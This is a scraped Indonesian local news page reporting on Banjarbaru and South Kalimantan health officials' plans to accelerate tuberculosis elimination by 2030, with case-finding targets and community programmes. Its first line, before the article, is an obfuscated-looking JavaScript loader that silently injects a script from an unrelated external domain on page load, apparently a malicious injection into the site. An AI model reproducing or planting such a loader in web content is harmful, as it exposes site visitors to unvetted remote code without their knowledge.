(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – TBC alias Tuberkulosis menjadi prioritas kesehatan mendukung program Asta Cita Presiden Prabowo Subianto untuk mencapai target nasional untuk Bebas TBC 2030.
Pemerintah Kota Banjarbaru melalui Dinas Kesehatan (Dinkes) Kota Banjarbaru komitmen untuk percepatan eliminasi Tuberkulosis menuju target bebas 2030.
Dinkes Banjarbaru bertemu dengan jajaran Dinkes Kalimantan Selatan (Kalsel) membahas sasaran kasus serta upaya percepatan eliminasi TBC, di ruang tamu Wali Kota Banjarbaru, Rabu (22/10/2025) siang.
Kepala Bidang P2P Dinkes Kalsel, Anhar Ihwan mengatakan, Provinsi Kalimantan Selatan mendapatkan target 15.098 kasus yang tersebar di 13 kabupaten dan kota
“Dan untuk Kota Banjarbaru itu mendapatkan sasaran kasus banyak 989, dan Alhamdulillah Banjarbaru sudah mencapai 71% untuk penemuan kasus,” ujar Kabid P2P Dinkes Kalsel, Anhar Ihwan.
Baca juga: Toyota Yaris Terguling di Jalan RO Ulin
Kemudian sambung dia, capaian SPN di Kota Banjarbaru mencapai 72%. Dinkes Kalsel meminta kepada Wali Kota Banjarbaru untuk dapat bersama-sama mengeliminasi TBC sesuai dengan capaian target nasional Prabowo.
“Tahun 2030 nanti kita diharuskan menurunkan 50% kasus TBC, oleh sebab itu kita roadshow ke 13 kabupaten kota untuk beraudiensi dengan Bupati atau Wali Kota. Alhamdulillah tadi ibu Wali Kota sangat mendukung terkait upaya-upaya kita mengeliminasi TBC,” jelas dia.
Ia menyebutkan salah satu strategi adalah mengeluarkan kebijakan-kebijakan terkait percepatan eliminasi TBC.
Seperti di Kota Banjarbaru tengah berproses untuk mengeluarkan Peraturan Wali Kota (Perwali) tentang percepatan penanggulangan TBC. Di samping itu Banjarbaru juga memiliki tim percepatan penanggulangan TBC.
“Jadi kami mohon dukungan pada ibu Wali Kota agar capaian-capaian kita provinsi sesuai yang diharapkan sebagaimana target ada 90%,” sebutnya.
Baca juga: Donor Darah Rambut Hari Humas Polri ke-74 Polres HSU
Dinkes Kalsel meminta dukungan data wilayah yang masih teridentifikasi TBC yang tinggi dapat membentuk Kampung Peduli TBC yang menganut konsep pemberdayaan masyarakat.
Kampung TBC masyarakat diminta untuk menemukan hingga mendampingi pengobatan, sehingga dengan begitu penemuan dan pengobatan bisa berhasil. Dan harapannya juga, stigmanya juga ikut turun.
Kepala Dinkes Kota Banjarbaru, dr Juhai Trianti Agustina mengatakan, dari 10 Puskesmas yang tersebar di Kota Banjarbaru, sembilan rumah sakit, didukung dengan alat pemeriksaan empat unit optimis bisa mendukung penanganan TBC di Ibu Kota Kalsel.
“Teman-teman di Puskesmas sangat aktif untuk melakukan edukasi, promosi, dan perantara laksanaan temuan kasus TB tersebut,” ungkap Kepala Dinkes Kota Banjarbaru dr. Juhai Trianti Agustina.
Dengan temuan 989 kasus TBC hingga tahun ini diartikan semakin bagus karena mereka aktif menemukan kasus dengan sedini mungkin.
“Tapi tentunya harus diimbangi dengan penatalaksanaannya penuntasan kasus temuan tersebut,” sambung dia.
“Kalau untuk pencegahan, paling utama adalah pola hidup sehat, kalau ada yang terduga TBC sedini mungkin terduga dilakukan penatalaksanaan TBC. Kemudian dilakukan pencegahan kalau misalnya sudah positif, seperti pencegahan untuk kontak serumah, minum obat pencegahan juga untuk yang anak-anak,” tuntasnya.
Baca juga: Kas Daerah Banjarbaru Disebut Mengendap Rp5,1 Triliun, Wali Kota Bantah Kemenkeu
Wali Kota Banjarbaru Erna Lisa Halaby. Foto: wanda
Menanggapi temuan kasus TBC, Wali Kota Banjarbaru Erna Lisa Halaby mengatakan, Pemerintah Kota Banjarbaru telah membuat regulasi berupa Perwali tentang percepatan penanggulangan TBC.
“Banyarbaru sudah membuat. Peraturan ini sudah dibuat dan informasinya sudah difasilitasi dari Biro di provinsi,” ujar Wali Kota Banjarbaru.
Selanjutnya Pemko Banjarbaru bersama-sama berupaya menurunkan angka kasus TBC yang ada di Banjarbaru.
“Salah satunya melaksanakan dengan adanya nanti insyaallah pembentukan Kelurahan Peduli TBC,” tutup Lisa. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.